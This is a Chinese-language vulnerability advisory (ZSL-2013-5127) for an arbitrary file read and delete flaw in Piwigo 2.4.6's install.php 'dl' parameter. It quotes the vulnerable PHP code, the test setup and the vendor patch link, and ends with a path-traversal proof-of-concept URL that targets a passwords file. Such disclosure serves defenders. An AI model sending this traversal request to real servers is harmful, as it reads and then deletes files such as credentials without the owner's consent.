Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116: header('Cache-Control: no-cache, must-revalidate');
117: header('Pragma: no-cache');
118: header('Content-Disposition: attachment; filename="database.inc.php"');
119: header('Content-Transfer-Encoding: binary');
120: header('Content-Length: '.filesize($filename));
121: echo file_get_contents($filename);
122: unlink($filename);
123: exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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